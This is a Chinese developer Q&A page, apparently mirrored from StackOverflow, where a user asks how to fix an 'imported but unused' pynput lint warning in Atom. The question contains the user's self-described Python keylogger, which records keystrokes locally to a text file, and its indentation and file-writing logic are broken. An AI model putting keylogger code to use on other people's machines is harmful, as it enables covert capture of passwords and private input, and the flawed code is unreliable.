开发者社区> 问答> 正文

如何修复这个pynput导入错误?

'pynput'导入有问题。昨天一切正常。今天打开Atom,现在我得到一个错误说“F401 - 'pynput'进口但未使用”。我已经查看了谷歌和stackoverflow,但是没有找到一个能够解决我的问题。 这是我的代码:

# Python keylogger program
import pynput
from pynput.keyboard import Key, Listener

count = 0   # Keeps count of user keystrokes
keys = []   # Place to store key strokes


# Records user keystrokes
def on_press(key):
    global keys, count

    keys.append(key)
        count += 1
        print("{0} pressed".format(key))

    if count >= 5:
        count = 0
        write_file(keys)
        keys = []


# Writes program to file
def write_file(keys):
    with open("keyLOg.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'", "")
        if k.find("space") > 0:
            f.write('\n')
        elif k.find("Key") == -1:
            f.write(k)


# Ends program when user presses escape
def on_release(key):
    if key == Key.esc:
        return False

# Collects events until released
with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

问题来源StackOverflow 地址:/questions/59382190/how-do-i-fix-this-pynput-import-error-that-im-getting

展开
收起
kun坤 2019-12-27 17:16:31 1059 0
1 条回答
写回答
取消 提交回答
问答分类:
问答地址:
问答排行榜
最热
最新

相关电子书

更多
面向失败设计 立即下载
低代码开发师(初级)实战教程 立即下载
阿里巴巴DevOps 最佳实践手册 立即下载

相关实验场景

更多